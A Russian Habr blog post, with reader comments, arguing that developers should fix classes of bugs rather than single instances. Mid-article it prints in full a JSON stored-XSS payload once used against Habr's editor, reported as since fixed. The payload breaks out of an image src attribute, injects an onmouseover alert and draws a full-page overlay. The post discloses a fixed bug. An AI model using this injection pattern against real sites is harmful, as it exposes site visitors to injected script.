Это будет моя самая короткая статья.
Когда-то я был молод и зелен и решал проблемы именно так, как их решают джуны. Алгоритм такой:
Узнать о проблеме
Локализовать проблему
Загуглить проблему и решение
Пофиксить проблему
Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открывал файл, редактировал проблемную строчку, закрывал файл. Проблема решена.
Или другой пример: не отработал скрипт из-за ошибки в коде. Чиню ошибку, скрипт начинает работать.
Прошло 10 лет... Алгоритм претерпел изменения:
Узнать о проблеме
Локализовать проблему
Загуглить проблему и посмотреть много решений
Понять, почему это произошло
Понять, что нужно сделать, чтобы это не произошло снова
Понять, что ещё затронуто проблемой
Понять, где ещё потенциально могут возникнуть похожие проблемы
Пофиксить проблему
В зависимости от количества необходимых усилий, пофиксить всё сопутствующее
Рассказать пацанам в слаке про свой фейл (== поделиться опытом)
Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открываю файл, разбираюсь, как проблемная строчка попала в него, пытаюсь сделать, чтобы она туда больше не попадала, ищу такие же ошибочные строчки в файле, ищу другие потенциальные ошибки, чиню файл сам или заворачиваю на доработку. Проблема решена - либо полностью, либо частично, но с полным осознанием это факта.
Или другой пример: не отработал скрипт из-за ошибки в коде. Разбираюсь, кто написал скрипт, почему писал ручками вместо того, чтобы вызвать какую-то команду для настройки и деплоя, где ещё подобные ошибки могут быть (и в этом проекте, и в проектах других клиентов), чиню и делаю всё возможное, чтобы это не произошло опять.
К чему всё это
Пожалуйста, не решайте конкретную проблему. Это никогда не работает. Оно сломается снова.
Решайте класс проблем. Выходите за рамки проблемы, ищите похожие, ищите связанные. Будьте ответственными и любопытными.
Иначе я так и буду находить XSS в тех же местах, о которых писал ранее.
Пейлоад тот же, что и в прошлой статье:
{
"type": "persona",
"attrs": {
"inserted": false
},
"content": [
{
"type": "persona_image",
"attrs": {
"src": "javascript:\"></a>
<div/onmouseover=alert('xss')>
<div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://c.tenor.com/GjsMO1r7HGMAAAAC/hyenas-lion-king.gif');background-position:center;background-repeat:no-repeat;background-size:cover;\">
</div>
</div>
<!--<a",
"class": "image image-persona"
}
},
{
"type": "persona_heading",
"content": [
{
"type": "text",
"text": "<-- Нажимайте сюда"
}
]
},
{
"type": "paragraph",
"attrs": {
"align": null,
"simple": false,
"persona": false
}
}
]
}UPD. Разрабы Хабра после выхода статьи быстро пофиксили баг. По их словам, вопрос с валидацией в работе. Я не предупреждал о статье, но меня не забанили и отнеслись ко всему позитивно - за это респект.
Заходите в мою телегу: Блог погромиста. Это просто ссылка, не XSS :)
Комментарии (22)
Aleksandr-JS-Developer
24.03.2022 11:56-8Алгоритм претерпел изменения:
Это ещё не синьор.
У синьора вот так:Узнать о проблеме
Локализовать проблему
Загуглить проблему и решениеПофиксить проблему
MaxAkaAltmer
24.03.2022 15:31Не понятно за что заминусовали комментарий выше, сеньор, если решения в гугле нет - как раз таки должен найти решение сам, иначе какой он сеньор, или это уже уровнем выше? ))
411
24.03.2022 17:51+6Сеньор, который не пользуется опытом других, может конечно и сеньор, но обычно по ряду факторов (не по знаниям) в большей части компаний будет считаться плохим вариантом для найма.
Aleksandr-JS-Developer
24.03.2022 22:29Сеньор, который не пользуется опытом других
Я не писал, что синьор не пользуется опытом других. Я написал, что он не "загуглит проблему и решение". Максимум - это уже точное решение проблемы (команда в терминал, название свойства, путь к конфигу и т. д.).
Да, если проблема для специалиста новая - он идёт гуглить что за проблема. Но для помидоров такие ситуации случаются не часто.
Aleksandr-JS-Developer
24.03.2022 22:25+4если решения в гугле нет
Если решения в гугле нет - это триггер, что с вероятностью 99.9999% ты прямо сейчас творишь какую-то дичь и нужно внимательно пересмотреть подход.
Я зачеркнул гугл потому, что у синьора есть опыт решения задач и он их решает.
Ещё я нарочно убрал весь бред про базу знаний, перепроверку всего кейса, разбирательства в причинах и т. д. Если ошибка из-за того, что число округляется в неправильную сторону - то да, тут можно и поправить 1 строку в коде. Но в ситуациях, когда нужно разбирательство, синьор не тратит своё время на это, а делегирует мидлу или даже джуну.
lair
26.03.2022 05:35+1Но в ситуациях, когда нужно разбирательство, синьор не тратит своё время на это, а делегирует мидлу или даже джуну.
В моем опыте, если мидл или джун могут разобраться сами, до синьора задача даже не долетает.
kesn Автор
26.03.2022 12:09+4Вот кстати я намеренно написал про гуглёжку, потому что очень часто, даже зная решение, можно нагуглить либо решение лучше, либо почитать про подводные камни.
Я отдаю себе отчёт, что я не знаю всё на свете, поэтому если у меня есть возможность почитать несколько мнений, было бы глупо не воспользоваться этим.
ws233
24.03.2022 12:51+1Надо всегда исправлять не последствия, а причину баги ^.^
rumactep
25.03.2022 10:40+2Согласен с вами. Однако в медицине широко используется симптоматическое лечение - лечение внешних признаков независимо ее причин и обычно без ликвидации причины. Правда, хорошо, что у нас не медицина?
Gedeonych
24.03.2022 13:33+5Спасибо за статью. Второй "алгоритм" справедлив и для джунов и для всех вообще, включая обычных юзеров которые просто настраивают свой домашний компьютер. Это надо доносить ещё до школьников на уроках информатики. Не понял в чём тут "фишка" в этой статье. Это же стандартный подход к любой проблеме с аппаратной или программной частью. Не понимаю почему у автора ушло на понимание этого 10 лет.
iggr63
25.03.2022 01:46Совершенно согласен. Лечение симптомов вместо вместо выявления причин их появления классический пример нарушения причинно-следственных связей.
iboltaev
24.03.2022 14:50+8Чем хороший программист отличается от плохого
а как же классика: у хорошего программиста меч зеленый, а у плохого - красный?
UnclShura
24.03.2022 20:36Все хорошо, но проблема-то была в том, что вообще в принципе Excel файл использовался :) И во втором алгоритме (зря заминусовали человека выше) можно вообще было не гуглить или напугать, понять что принятый ответ ответом не является и т.д...
Crystal_HMR
25.03.2022 02:02+5Я не синьор (да и вообще не программист официально), но для меня лично переломным стало понимание того, что нужно прочитать и осознать что тебе пишет компилятор/интерпретатор (а если есть возможность - то вообще линтер). Причем сделать это перед тем, как гуглить. Возможно и гуглить не нужно будет, и в голове больше отложится.
arelive
25.03.2022 19:42+5Только вот не всегда такой подход позволен. Рынок айти перегрет, из за высокой конкуренции всё больше решает время, а не качество работы. В каждой компании, где я работал, кроме последней, код на 110% состоял из легаси, к которому нужно было прикручивать новый функционал. Для этого функционала по всем правилам хорошего кода нужно было рефакторить монолиты нулевых, потому что иначе кроме как на костыли новый код не подвесить. То же с багами, корни которых шли откуда то, где только бог помнит как работает приложение. Я часто пытался вместо костылей досконально разобраться в причинах, плюс, видно было, что те, кто работал до меня, тоже пытались. Почему же мы нам всем пришлось бросить и пофиксить баги без разбора причин? График. Не уложишься в него - уложатся конкуренты. Программирование перестало быть искусством, оно стало бизнесом. В моих петах и на текущей работе в стартапе код гораздо чище и понятнее, чем в компаниях гигантах. И это печально :с
KlimenkoIv
Полностью поддерживаю.
При обнаружении ошибки, котрорая затрагивает каскад проблем, дополнительно вношу в специальный раздел в базе знаний (у нас это Confluence), где собраны правила разработки, условия и т.д.